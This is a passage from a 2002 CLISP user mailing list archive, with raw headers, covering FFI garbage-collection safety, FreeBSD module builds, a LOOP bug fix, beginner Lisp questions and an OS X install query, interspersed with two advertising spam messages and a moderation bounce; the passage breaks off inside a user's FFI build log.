Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] The (floating) address of foreign arrays (FFI talk) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 25 02:01:02 2002 X-Original-Date: Fri, 25 Oct 2002 10:58:01 +0200 Hi, [the same topic arose independently on both clisp and uffi mailing = lists. I write to both.] When a C programmers calls x =3D foo(...,pointer or &array, ...) s/he defines an implicit = contract: 1) the pointer points to data that will be valid at the time it will = be needed. E.g. it may be a reference to an array to be filled up by the call, or = installing an i/o buffer or callback address for later use. When a Java/Lisp/Smalltalk programmers invokes a foreign function, the = contract is slightly different: 2) the pointer into a Lisp/Java object is valid for the duration of = the call. Even the weaker contract 2) can be endangered in implementations that = provide i) a moving (compacting) GC *and* ii) callbacks into Lisp/Java or programmable signal handlers E.g. suppose a signal handler or a callback is invoked while in foo. = The handler calls Lisp code, which causes a GC. The address of the = double float array passed to foo may not be valid anymore, leading to = random crashes. One might be tempted to ask: "what the heck? in my code I don't have a = handler!". My answer is that only the system architect, s/he who knows the complete system can hold such a claim about the system as a whole. The individual component writer cannot know whether some other component installed e.g. some signal handler in Lisp. Ignoring this issue yields to unreliable "it works for me" solutions. I'm opposed to simple looking solutions that only work in limited, unspecified contexts. Such solutions are obviously too simple than possible (w.r.t. Albert Einstein's famous quote). There are several solutions: a) mark Lisp objects passed as reference to be non-movable (during the = foreign call), or b) don't pass pointers to Lisp objects, use space on the execution stack instead. That's what CLISP (foreign-call-out, with-foreign-object), CMUCL (with-alien) and other implementations do, or c) use a non-moving GC, e.g. Boehm's conservative GC. However doing so precludes nice GC design, probably generational GC and other modern features of advanced GC schemes, or d) add explicit declarations to the effect that the given foreign call (e.g. memcpy) is free of callbacks (while XmainLoop() is not). e) Give guarantees and a model about the context in which Lisp-level signal handlers are called by the implementation (it's typically delayed outside the signal handler). E.g. in CLISP, they could be invoked by the bytecode interpreter loop. f) forbid passing addresses of Lisp objects to functions not declared free of callbacks in implementations where Lisp-level signal = handlers can be called anytime. g) ... I hope this made very clear why I claim that the limited declarative = power of the popular Allegro construct (ff:def-foreign-call half-double-vector ((size :int) (vec (:array :double))) :returning :void) where vec is used for i/o and writes directly to a Lisp double float = array is dangerous -- outside of Allegro. Such a declaration cannot be = the base for a UniversalFFI. One has to consider i) and ii) above. That's also why there must *not* be a (WITH-LISP-ARRAY-ADDRESS = (addr-var array-obj) &body) in CLISP. One can only do so in limited = contexts, e.g. for calling recv() and be sure (not hope) never to GC = before doing so. Oh, BTW, the AFFI I designed in 1994/5 as an FFI for Amiga-CLISP passes addresses to Lisp arrays. It has a i) moving GC but no ii) callbacks nor signal handlers, thus no reliability problem (not considering buffer overflows and heap corruption here :-) and thus fulfils contract = 2). I'm specifically not saying that the ability to pass address of Lisp arrays to foreign code wouldn't be useful or speedy. But it also has to be reliably defined. Regards, J=F6rg H=F6hle. who's working on SW-reliability and dependability at Deutsche Telekom / T-Systems. From marcoxa@cs.nyu.edu Fri Oct 25 07:14:32 2002 Received: from bioinformatics.cims.nyu.edu ([216.165.110.10] helo=octagon.valis.nyu.edu) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1855EO-00060f-00 for ; Fri, 25 Oct 2002 07:14:32 -0700 Received: (from marcoxa@localhost) by octagon.valis.nyu.edu (8.11.6/8.11.6) id g9PEGqA04700; Fri, 25 Oct 2002 10:16:52 -0400 Message-Id: <200210251416.g9PEGqA04700@octagon.valis.nyu.edu> From: Marco Antoniotti To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Test - Ignore Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 25 07:15:04 2002 X-Original-Date: Fri, 25 Oct 2002 10:16:52 -0400 Let's see if this one works -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From thejoinerfamil@aol.com Fri Oct 25 15:58:02 2002 Received: from user-24-214-66-108.knology.net ([24.214.66.108] helo=mail.sourceforge.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 185DOy-0005Wa-00 for ; Fri, 25 Oct 2002 15:58:01 -0700 From: "originalwheelbarrowscreener.com" To:clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: multipart/related; boundary="----=_NextPart_UFVGHPFVTB" Content-Transfer-Encoding: 7bit Message-ID: PM20005:57:58 PM Subject: [clisp-list] WIN a FREE Wheelbarrow screener and make your own topsoil! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 25 15:59:01 2002 X-Original-Date: Fri, 25 Oct 2002 17:57:58 This is an HTML email message. If you see this, your mail client does not support HTML messages. ------=_NextPart_UFVGHPFVTB Content-Type: text/html;charset="iso-8859-1" Content-Transfer-Encoding: 7bit

WIN a FREE Wheelbarrow screener and make your own topsoil!

It’s easy!  No purchase necessary, all you have to do is visit   www.originalwheelbarrowscreener.com and register to win!

We will post winners on the site look for your name.  This product is perfect for the home gardener!

Innovative new gardening tool will help you screen your own topsoil, compost, mulch. This can give you your own unlimited supply of topsoil. Comes with universal clips that fit all wheelbarrows. Made with easy grip handles and a shovel holder. Constructed with a steel screen and plastic outlay. This makes it easy to screen your own topsoil. Place Wheelbarrow Screener on wheelbarrow. Dig the soil you want to use. Dump soil onto Wheelbarrow Screener. Scrape dirt through screener. Remove roots, rocks, and other debris. You are left with clean screened topsoil in your wheelbarrow to place in your garden or into pots. To be removed from this e-mail list please reply to this e-mail and say remove in the subject line.  Be sure to visit   www.originalwheelbarrowscreener.com


 

 

 

------=_NextPart_UFVGHPFVTB-- From wcp@pelissero.org Sat Oct 26 06:09:57 2002 Received: from dyn251-41.sftm-212-159.plus.net ([212.159.41.251] helo=hyde.lpds.sublink.org) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 185QgX-0001Rl-00 for ; Sat, 26 Oct 2002 06:09:37 -0700 Received: from hyde.lpds.sublink.org (localhost [127.0.0.1]) by hyde.lpds.sublink.org (8.12.6/8.12.3) with ESMTP id g9QD4THM066176 for ; Sat, 26 Oct 2002 14:04:29 +0100 (BST) (envelope-from wcp@hyde.lpds.sublink.org) Received: (from wcp@localhost) by hyde.lpds.sublink.org (8.12.6/8.12.3/Submit) id g9QD3JR1066166; Sat, 26 Oct 2002 14:03:19 +0100 (BST) (envelope-from wcp) From: "Walter C. Pelissero" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15802.37526.320431.60072@hyde.lpds.sublink.org> To: clisp-list@lists.sourceforge.net X-Mailer: VM 7.07 under Emacs 21.3.50.1 Reply-To: walter@pelissero.org X-Attribution: WP Subject: [clisp-list] compilation under FreeBSD Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Oct 26 06:10:05 2002 X-Original-Date: Sat, 26 Oct 2002 14:03:18 +0100 Since I haven't been able to link external modules with my old CLISP distribution (core dump) I thought about giving a try at the latest CVS snapshot. Unfortunately it didn't work either as I couldn't link in any module from the distribution (no --with-module option to makemake). This raise a natural question: are external modules supported at all under FreeBSD? (If you like I can provide more informations.) -- walter pelissero http://www.pelissero.org From joangreen126@hotmail.com Sun Oct 27 13:13:39 2002 Received: from f45.law14.hotmail.com ([64.4.21.45] helo=hotmail.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 185uj5-00071r-00 for ; Sun, 27 Oct 2002 13:13:39 -0800 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sun, 27 Oct 2002 13:13:34 -0800 Received: from 128.163.224.208 by lw14fd.law14.hotmail.msn.com with HTTP; Sun, 27 Oct 2002 21:13:33 GMT X-Originating-IP: [128.163.224.208] From: "Green Joan" To: clisp-list@lists.sourceforge.net Bcc: Mime-Version: 1.0 Content-Type: text/plain; charset=gb2312; format=flowed Message-ID: X-OriginalArrivalTime: 27 Oct 2002 21:13:34.0062 (UTC) FILETIME=[B53C48E0:01C27DFD] Subject: [clisp-list] how to print the elements in a list using CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Oct 27 13:14:03 2002 X-Original-Date: Mon, 28 Oct 2002 05:13:33 +0800 Dear all, would you please tell me is there a function that I can use in CLISP to print the elements of a list on screen. thanks. joan _________________________________________________________________ ÓëÁª»úµÄÅóÓѽøÐн»Á÷£¬ÇëʹÓà MSN Messenger: http://messenger.msn.com/lccn/ From ampy@ich.dvo.ru Mon Oct 28 02:59:40 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1867aa-0005ju-00 for ; Mon, 28 Oct 2002 02:57:44 -0800 Received: from ppp49-AS-1.vtc.ru (ppp49-AS-1.vtc.ru [212.16.216.49]) by vtc.ru (8.12.6/8.12.6) with ESMTP id g9SAtM2d015096 for ; Mon, 28 Oct 2002 20:55:26 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1641917657.20021028205613@ich.dvo.ru> To: clisp-list@sourceforge.net Subject: Re: [clisp-list] how to print the elements in a list using CLISP In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 28 03:00:01 2002 X-Original-Date: Mon, 28 Oct 2002 20:56:13 +1000 Hello Green, Monday, October 28, 2002, 7:13:33 AM, you wrote: > would you please tell me is there a function that I can use in CLISP to > print the elements of a list on screen. There is a number of ways to do it. Simple way: (setf list-variable (list 1 2 3 4 5)) (print list-vaiable) Format provides more facilities to format printed lists, for example (format t "~{~A-~A ~}" '(honky donky hubble bubble)) prints HONKY-DONKY HUBBLE-BUBBLE You should read some lisp tutorial. The autoritative Common Lisp reference is Hyperspec (http://www.lisp.org/HyperSpec/FrontMatter/) but there is a number of introduction courses, one of which is distributed with clisp (LISP-tutorial.txt). Also look for lisp tutorials at www.alu.org and subscribe to comp.lang.lisp usenet newsgroup. -- Best regards, Arseny From sds@gnu.org Tue Oct 29 05:54:48 2002 Received: from pop016pub.verizon.net ([206.46.170.173] helo=pop016.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 186WpU-0006jy-00 for ; Tue, 29 Oct 2002 05:54:48 -0800 Received: from loiso.podval.org ([151.203.30.168]) by pop016.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021029135441.QOCH1630.pop016.verizon.net@loiso.podval.org>; Tue, 29 Oct 2002 07:54:41 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id g9TDsfwQ001717; Tue, 29 Oct 2002 08:54:41 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id g9TDsZrf001713; Tue, 29 Oct 2002 08:54:35 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: walter@pelissero.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] compilation under FreeBSD References: <15802.37526.320431.60072@hyde.lpds.sublink.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15802.37526.320431.60072@hyde.lpds.sublink.org> Message-ID: Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop016.verizon.net from [151.203.30.168] at Tue, 29 Oct 2002 07:54:41 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 29 05:55:04 2002 X-Original-Date: 29 Oct 2002 08:54:35 -0500 > * In message <15802.37526.320431.60072@hyde.lpds.sublink.org> > * On the subject of "[clisp-list] compilation under FreeBSD" > * Sent on Sat, 26 Oct 2002 14:03:18 +0100 > * Honorable "Walter C. Pelissero" writes: > > Since I haven't been able to link external modules with my old CLISP > distribution (core dump) I thought about giving a try at the latest > CVS snapshot. Unfortunately it didn't work either as I couldn't link > in any module from the distribution (no --with-module option to > makemake). > > This raise a natural question: are external modules supported at all > under FreeBSD? external modules are supported on all UNIX flavors and I have never had any problems with FreeBSD. Indeed, all recent CLISP releases include binary distributions for FreeBSD which include the regexp module. did you try $ ./configure --with-module=regexp --build build-dir -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Yeah, yeah, I love cats too... wanna trade recipes? From wcp@pelissero.org Tue Oct 29 06:16:37 2002 Received: from [212.159.33.18] (helo=hyde.lpds.sublink.org) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 186XAZ-0006bo-00 for ; Tue, 29 Oct 2002 06:16:37 -0800 Received: from hyde.lpds.sublink.org (localhost [127.0.0.1]) by hyde.lpds.sublink.org (8.12.6/8.12.3) with ESMTP id g9TEGQHM083022; Tue, 29 Oct 2002 14:16:26 GMT (envelope-from wcp@hyde.lpds.sublink.org) Received: (from wcp@localhost) by hyde.lpds.sublink.org (8.12.6/8.12.3/Submit) id g9TEGPEG083019; Tue, 29 Oct 2002 14:16:25 GMT (envelope-from wcp) From: "Walter C. Pelissero" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15806.38968.707288.625706@hyde.lpds.sublink.org> To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] compilation under FreeBSD In-Reply-To: References: <15802.37526.320431.60072@hyde.lpds.sublink.org> X-Mailer: VM 7.07 under Emacs 21.3.50.1 Reply-To: walter@pelissero.org X-Attribution: WP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 29 06:17:04 2002 X-Original-Date: Tue, 29 Oct 2002 14:16:24 +0000 Sam Steingold writes: > > * In message <15802.37526.320431.60072@hyde.lpds.sublink.org> > > * On the subject of "[clisp-list] compilation under FreeBSD" > > * Sent on Sat, 26 Oct 2002 14:03:18 +0100 > > * Honorable "Walter C. Pelissero" writes: > > > > Since I haven't been able to link external modules with my old CLISP > > distribution (core dump) I thought about giving a try at the latest > > CVS snapshot. Unfortunately it didn't work either as I couldn't link > > in any module from the distribution (no --with-module option to > > makemake). > > > > This raise a natural question: are external modules supported at all > > under FreeBSD? > > external modules are supported on all UNIX flavors and I have never had > any problems with FreeBSD. Indeed, all recent CLISP releases include > binary distributions for FreeBSD which include the regexp module. Sorry I didn't amend my posting with my latest breakthrough. CLISP indeed compiles and link external modules on FreeBSD. It's just that by mistake I've been compiling with Pthreads support, which I understand is not supported. In fact the regexp library won't link to the full system dumping a core during the execution of: full/lisp.run -B . -M base/lispinit.mem -norc -q -i [...] -x (saveinitmem "full/lispinit.mem") Removing the thread stuff everything worked fine. BTW, I'm trying to interface a C library that would spawn threads (Posix threads) and them, in turn, call back CLISP. Is there any support for that? The alternative is writing a stupid C stub that serializes the access to CLISP: not brilliant, though. -- walter pelissero http://www.pelissero.org From sds@gnu.org Wed Oct 30 07:39:22 2002 Received: from out001pub.verizon.net ([206.46.170.140] helo=out001.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 186uwE-0004vO-00 for ; Wed, 30 Oct 2002 07:39:22 -0800 Received: from loiso.podval.org ([151.203.30.168]) by out001.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021030153915.LOZK3265.out001.verizon.net@loiso.podval.org>; Wed, 30 Oct 2002 09:39:15 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id g9UFdUwQ020784; Wed, 30 Oct 2002 10:39:30 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id g9UFdUaA020780; Wed, 30 Oct 2002 10:39:30 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Thomas F. Burdick" Cc: CLISP Users List Subject: Re: [clisp-list] Bug in LOOP References: <15794.2888.731787.244999@apocalypse.OCF.Berkeley.EDU> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15794.2888.731787.244999@apocalypse.OCF.Berkeley.EDU> Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out001.verizon.net from [151.203.30.168] at Wed, 30 Oct 2002 09:39:14 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 30 07:40:06 2002 X-Original-Date: 30 Oct 2002 10:39:29 -0500 > * In message <15794.2888.731787.244999@apocalypse.OCF.Berkeley.EDU> > * On the subject of "[clisp-list] Bug in LOOP" > * Sent on Sat, 19 Oct 2002 18:47:52 -0700 > * Honorable "Thomas F. Burdick" writes: > > I'm using CLISP 2.27. I've noticed the following bug in CLISP's > handling of for-as-equals-then loop clauses: >=20 > (defun loop-for-as-equals-then-bug () > "According to the HyperSpec =A76.1.2.1.4, in for-as-equals-then, var > is initialized to the result of evaluating form1. =A76.1.7.2 says > that initially clauses are evaluated in the loop prologue, which > precedes all loop code except for the initial settings provided by > with, for, or as. However, in the example below, the initially > clause is evaluated before X is initialized." > (loop for x =3D 0 then (1+ x) > initially (assert (zerop x)) > until (>=3D x 10))) thanks - fixed in the CVS. --=20 Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Microsoft: announce yesterday, code today, think tomorrow. From Dspondike@aol.com Thu Oct 31 04:00:45 2002 Received: from imo-m06.mx.aol.com ([64.12.136.161]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 187E0C-0006zJ-00 for ; Thu, 31 Oct 2002 04:00:44 -0800 Received: from Dspondike@aol.com by imo-m06.mx.aol.com (mail_out_v34.13.) id 6.3a.2eae6c35 (17377) for ; Thu, 31 Oct 2002 07:00:33 -0500 (EST) From: Dspondike@aol.com Message-ID: <3a.2eae6c35.2af27561@aol.com> To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="part1_3a.2eae6c35.2af27561_boundary" X-Mailer: AOL For Mac OS X sub 23 Subject: [clisp-list] Insallation on Mac OSX? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 31 04:01:03 2002 X-Original-Date: Thu, 31 Oct 2002 07:00:33 EST --part1_3a.2eae6c35.2af27561_boundary Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Dear List, I used to use a music program called Symbolic Composer on my Power PC. When I moved to a G4 and OS X, I found I could no longer use the program because clisp was supported on OSX. Now, it seems, as I browse sourceforge, that clisp is supported on OSX. Can anybody walk me thorugh the installation process or direct me to the appropriate support files/FAQs? Thanks, David dspondike@aol.com --part1_3a.2eae6c35.2af27561_boundary Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: 7bit Dear List,

     I used to use a music program called Symbolic Composer on my Power PC. When I moved to a G4 and OS X, I found I could no longer use the program because clisp was supported on OSX. Now, it seems, as I browse sourceforge, that clisp is supported on OSX. Can anybody walk me thorugh the installation process or direct me to the appropriate support files/FAQs?

Thanks,
David
dspondike@aol.com
--part1_3a.2eae6c35.2af27561_boundary-- From plimsoll@adres.nl Thu Oct 31 13:09:50 2002 Received: from smtp.everyone.net ([216.200.145.17] helo=rmta01.mta.everyone.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 187MZU-000299-00 for ; Thu, 31 Oct 2002 13:09:44 -0800 Received: from adres.nl (atl-wan-d-160.atl.dsl.cerfnet.com [63.242.195.160]) by rmta01.mta.everyone.net (Postfix) with ESMTP id 18881A3BBB for ; Thu, 31 Oct 2002 13:09:36 -0800 (PST) Message-ID: <41130-22002104312144572@adres.nl> From: "" To: "clisp-list@lists.sourceforge.net" MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_84815C5ABAF209EF376268C8" Subject: [clisp-list] Fantastic Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 31 13:10:04 2002 X-Original-Date: Thu, 31 Oct 2002 16:04:45 -0500 ------=_NextPart_84815C5ABAF209EF376268C8 Content-type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable =20 =20 =20 =20 =20 =20 =20 =20 =20 Haveyou replaced your ink cartridgelately? Ifyou have, you know IT AIN'T CHEAP=2E Howcan something so LITTLE costSO MUCH?!? DON'Tlet retail stores take you for aride=2EGetthe printer products you ne= ed atFAIR and REASONABLE prices=2E Howreasonable? =20 $6=2E95comparedto $22=2E99 $7=2E95comparedto $25=2E35 $9=2E95comparedto $28=2E99 Andthere are NAMEBRAND products=2E HP,Canon, Epson, Compaq=2E Names youknow and products you trust=2E But you= don't have to sacrifice CASH forQUALITY! Compareprices side by side and thesavings are OBVIOUS=2E Yousave up to 75%! Clickhere to find MORE deals just likethese! www=2Einkjetscentral=2Ecom =20 =20 Youreceived this email because you signed up at one of E&RMedia partner w= ebsites or you signed up with a party thathas contracted with E&R Media=2E= To unsubscribe from thislist click here =20 =20 ------=_NextPart_84815C5ABAF209EF376268C8 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable MSN Home
 

Have you replaced your ink cartri= dge lately?

If you have, you know IT AIN'T = CHEAP=2E
How can something so LITTLE cost SO MUCH?!?=

DON'T let retail stores take you f= or a ride=2E Get the printer products you nee= d at FAIR and REASONABLE prices=2E=

How reasonable?

  • $6=2E95 compared to $22=2E= 99
  • $7=2E95 compared to $25=2E= 35
  • $9=2E95 compared to $28=2E= 99

And there are NAME BRAND products=2E
HP, Canon, Epson, Compaq=2E Name= s you know and products you trust=2E= But you don't have to sacrifice CASH= for QUALITY!

Compare prices side by side and the savings are OBVIOUS=2E
You save up to 75%!

Click here to find MORE deals just= like these!

www=2Einkjetscentral=2Ecom=

 


You received this email because you signed up at one of E&= amp;R Media partner websites or you signed up with a party t= hat has contracted with E&R Media=2E To unsubscribe fr= om this list click here

 



<= input type=3D"hidden" value=3D"MSG1032302816=2E7" name=3D"msg">
------=_NextPart_84815C5ABAF209EF376268C8-- From fftw-announce-admin@fftw.org Thu Oct 31 22:32:11 2002 Received: from ab-initio.mit.edu ([18.62.2.90]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 187VLn-000780-00 for ; Thu, 31 Oct 2002 22:32:11 -0800 Received: from localhost ([127.0.0.1] helo=ab-initio.mit.edu ident=mailman) by ab-initio.mit.edu with esmtp (Exim 3.35 #1 (Debian)) id 187VMc-0007BF-00 for ; Fri, 01 Nov 2002 01:33:02 -0500 From: fftw-announce-admin@fftw.org To: clisp-list@lists.sourceforge.net X-Ack: no X-BeenThere: fftw-announce@fftw.org X-Mailman-Version: 2.0.8 Precedence: bulk Message-Id: Subject: [clisp-list] Your message to fftw-announce awaits moderator approval Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 31 22:33:01 2002 X-Original-Date: Fri, 01 Nov 2002 01:33:02 -0500 Your mail to 'fftw-announce' with the subject Let's be friends Is being held until the list moderator can review it for approval. The reason it is being held: Post to moderated list Either the message will get posted to the list, or you will receive notification of the moderator's decision. From DKICK1@motorola.com Mon Nov 04 13:33:07 2002 Received: from motgate.mot.com ([129.188.136.100]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 188oqJ-0005nU-00 for ; Mon, 04 Nov 2002 13:33:07 -0800 Received: from pobox.mot.com (pobox.mot.com [129.188.137.100]) by motgate.mot.com (Motorola/Motgate) with ESMTP id gA4LX5sr000640 for ; Mon, 4 Nov 2002 14:33:05 -0700 (MST) Received: [from il27exb01.cig.mot.com (il27exb01.cig.mot.com [136.182.15.100]) by pobox.mot.com (MOT-pobox 2.0) with ESMTP id OAA19110 for ; Mon, 4 Nov 2002 14:33:05 -0700 (MST)] Received: by il27exb01.cig.mot.com with Internet Mail Service (5.5.2656.59) id ; Mon, 4 Nov 2002 15:33:05 -0600 Message-ID: From: Kick Damien-DKICK1 To: "'clisp-list@lists.sourceforge.net'" Cc: Kick Damien-DKICK1 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2656.59) Content-Type: text/plain; charset="iso-8859-1" Subject: [clisp-list] Clisp FFI Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 4 13:34:01 2002 X-Original-Date: Mon, 4 Nov 2002 15:33:03 -0600 I'm having problems with attempting build my own FFI example based on the example in the FFI implementation notes and would appreciate any help. [kick@login0 ~/tmp]% $DIR/clisp-link create-module-set f00f f00f-code.c [kick@login0 ~/tmp]% gcc -c f00f-code.c [kick@login0 ~/tmp]% lf call-f00f.lisp f00f/ f00f-code.c f00f-code.o [kick@login0 ~/tmp]% cd f00f [kick@login0 tmp/f00f]% ln -s ../f00f-code.o [kick@login0 tmp/f00f]% cd .. [kick@login0 ~/tmp]% $DIR/base/lisp.run -M $DIR/base/lispinit.mem -c call-f00f.lisp i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2002 Compiling file /home/kick/tmp/call-f00f.lisp ... WARNING: SETQ(FFI::*FOREIGN-LANGUAGE*): # is locked Ignore the lock and proceed WARNING in (DEFAULT-FOREIGN-LANGUAGE 